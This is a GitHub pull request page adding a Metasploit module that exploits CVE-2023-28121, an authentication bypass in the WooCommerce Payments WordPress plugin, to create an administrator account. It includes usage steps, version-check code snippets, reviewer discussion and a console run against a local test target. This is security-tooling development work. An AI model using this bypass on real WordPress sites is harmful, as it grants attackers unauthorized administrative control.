Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

WooCommerce Payments auth bypass and priv esc #18164

Merged
merged 10 commits into from
Jul 10, 2023

Conversation

h00die
Copy link
Contributor

@h00die h00die commented Jul 4, 2023

fixes #18159

This PR adds a module to exploit an auth bypass and priv esc to create a new user on a wordpress instance which is running WooCommerce Payments < 5.6.1. Pretty simple, add a header to execute the bypass, then we just use the API to create a new user.

Verification

List the steps needed to make sure this thing works

  • Start msfconsole
  • Install the plugin
  • Start msfconsole
  • Do: use auxiliary/scanner/http/wp_woocommerce_payments_add_user
  • Do: set username [username]
  • Do: set rhosts [ip]
  • Do: run
  • You should get a new administrator created and the credentials.

Copy link
Contributor

@jvoisin jvoisin left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Glorious!

@gwillcox-r7 gwillcox-r7 self-assigned this Jul 5, 2023
return Msf::Exploit::CheckCode::Safe('Server not online or not detected as wordpress')
end

checkcode = check_plugin_version_from_readme('woocommerce-payments', '5.6.2')
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Your only checking that the target is not running 5.6.2 or later where this was patched but what about versions earlier than 4.8.0 where according to https://developer.woocommerce.com/2023/03/23/critical-vulnerability-detected-in-woocommerce-payments-what-you-need-to-know/ this vulnerability doesn't exist?

Additionally according to https://developer.woocommerce.com/2023/03/23/critical-vulnerability-detected-in-woocommerce-payments-what-you-need-to-know/ the following versions are patched:

4.8.2
4.9.1
5.0.4
5.1.3
5.2.2
5.3.1
5.4.1
5.5.2
5.6.2
5.7.0 and above

So in reality I think there may be some more complex logic that needs to be implemented here :/ Just not aware of how to do this sort of branch style version checks using our current code: it seems to only account for their being a single branch that increments, not for multiple branches such as a 4.8.x branch and a 4.9.x branch.

@gwillcox-r7
Copy link
Contributor

@h00die Tested this but the endpoint /wp-json/wp/v2/users doesn't seem to exist on latest WordPress and all requests to /index.php/anything redirect to the homepage of the WordPress site that is set up.

As discussed on Slack though, feel free to pick at this now if you want to do anything as you won't be interrupting me, though happy to discuss anything further if you need additional info.

@gwillcox-r7
Copy link
Contributor

Looks like according to https://stackoverflow.com/questions/23842235/wordpress-jsonapi-wp-json-was-not-found-on-this-server the site I was using doesn't have pretty permalinks enabled so one has to use /?rest_route=/wp/v2/users instead of the usual /wp-json/wp/v2/users.

This setting only applies if the Plain option is set as the permalink structure, which is the default on my install of WordPress. Changing it to Day and name, Month and name, Numberic, Post name, all work fine with the /wp-json/wp/v2/users URI.

@gwillcox-r7
Copy link
Contributor

Okay after updating those settings I confirmed the exploit works as expected. Still need to update the database code to properly log the creds and I need to update the code to fix Alan's comment and also an issue I found during testing.

@gwillcox-r7
Copy link
Contributor

@h00die Should be all good to go now minus the check code logic for the version numbers. That will require some more work.

@h00die
Copy link
Contributor Author

h00die commented Jul 9, 2023

@gwillcox-r7 will you still be handling this, or is it off to someone new?

I wrote a check method, since it can have min/max, I just looped through each vuln set. Its prob not perfect, but I think it'll cover 99% of the cases until this isn't relevant anymore. Its also very noisy, loading the same file over and over again, but wordpress sites get hit by so much garbage that it'll just blend in with the noise.

I also double checked the creds being stored in the DB and they look good.

vuln_versions.each do |versions|
introduced = versions[0]
fixed = versions[1]
checkcode = check_plugin_version_from_readme('woocommerce-payments', fixed, introduced)
Copy link
Contributor

@adfoster-r7 adfoster-r7 Jul 10, 2023

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

From a quick glance, it looks like this will make multiple requests out, is that something we want to do? Wondering is there a more elegant way to achieve this, i.e. a richer API that makes the single HTTP request, and offers a way to check the impacted versions 👀

Edit: Just seeing this message now, I guess you're wanting to call that out of scope then 😄

I just looped through each vuln set [..] Its also very noisy, loading the same file over and over again, but wordpress sites get hit by so much garbage that it'll just blend in with the noise.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I had edited the message to include that, that's why it needed to be re-read.

Yea, I consider editing the Library and cross testing that with some other modules to ensure backwards compatibility, and writing a spec to be outside the scope of this module. The current implementation is a little ugly, true, but it gets the job done accurately. It's the best I can do w/ the tools given.

I don't mind writing up an issue though to at least document the library needs to be fixed

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Sounds good to me 👍

@adfoster-r7
Copy link
Contributor

@gwillcox-r7 will you still be handling this, or is it off to someone new?

Looks like a new person will need to pick this up 👍

Copy link
Contributor

@jheysel-r7 jheysel-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Looks great @h00die, thanks for the module!

msf6 > use auxiliary/scanner/http/wp_woocommerce_payments_add_user
msf6 auxiliary(scanner/http/wp_woocommerce_payments_add_user) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
msf6 auxiliary(scanner/http/wp_woocommerce_payments_add_user) > set rport 8000
rport => 8000
msf6 auxiliary(scanner/http/wp_woocommerce_payments_add_user) > set username jheysel
username => jheysel
msf6 auxiliary(scanner/http/wp_woocommerce_payments_add_user) > options

Module options (auxiliary/scanner/http/wp_woocommerce_payments_add_user):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   ADMINID    1                no        ID Number of a WordPress administrative user
   EMAIL                       no        Email to create, random if blank
   PASSWORD                    no        Password to create, random if blank
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS     127.0.0.1        yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT      8000             yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       The URI of the Wordpress instance
   USERNAME   jheysel          yes       User to create
   VHOST                       no        HTTP server virtual host


View the full module info with the info, or info -d command.

msf6 auxiliary(scanner/http/wp_woocommerce_payments_add_user) > run
[*] Running module against 127.0.0.1

[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. WooCommerce-Payments version is exploitable
[*] Attempting to create an administrator user -> jheysel:PdbMBQYqST8dl ([email protected])
[+] User was created successfully
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/http/wp_woocommerce_payments_add_user) >

@jheysel-r7 jheysel-r7 self-assigned this Jul 10, 2023
@jheysel-r7 jheysel-r7 merged commit 420147d into rapid7:master Jul 10, 2023
32 checks passed
@jheysel-r7 jheysel-r7 added the rn-modules release notes for new or majorly enhanced modules label Jul 10, 2023
@jheysel-r7
Copy link
Contributor

Release Notes

This module exploits an auth by-pass vulnerability in the WooCommerce WordPress plugin. By sending a speciality crafted request to the plugin an attacker can by-pass authentication and then use the WordPress API to create an admin user in WordPress.

@h00die h00die deleted the woocommerce_add_user branch July 11, 2023 16:54
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
docs module rn-modules release notes for new or majorly enhanced modules
Projects
None yet
Development

Successfully merging this pull request may close these issues.

cve-2023-28121 — WooCommerce Payments Authentication Bypass
5 participants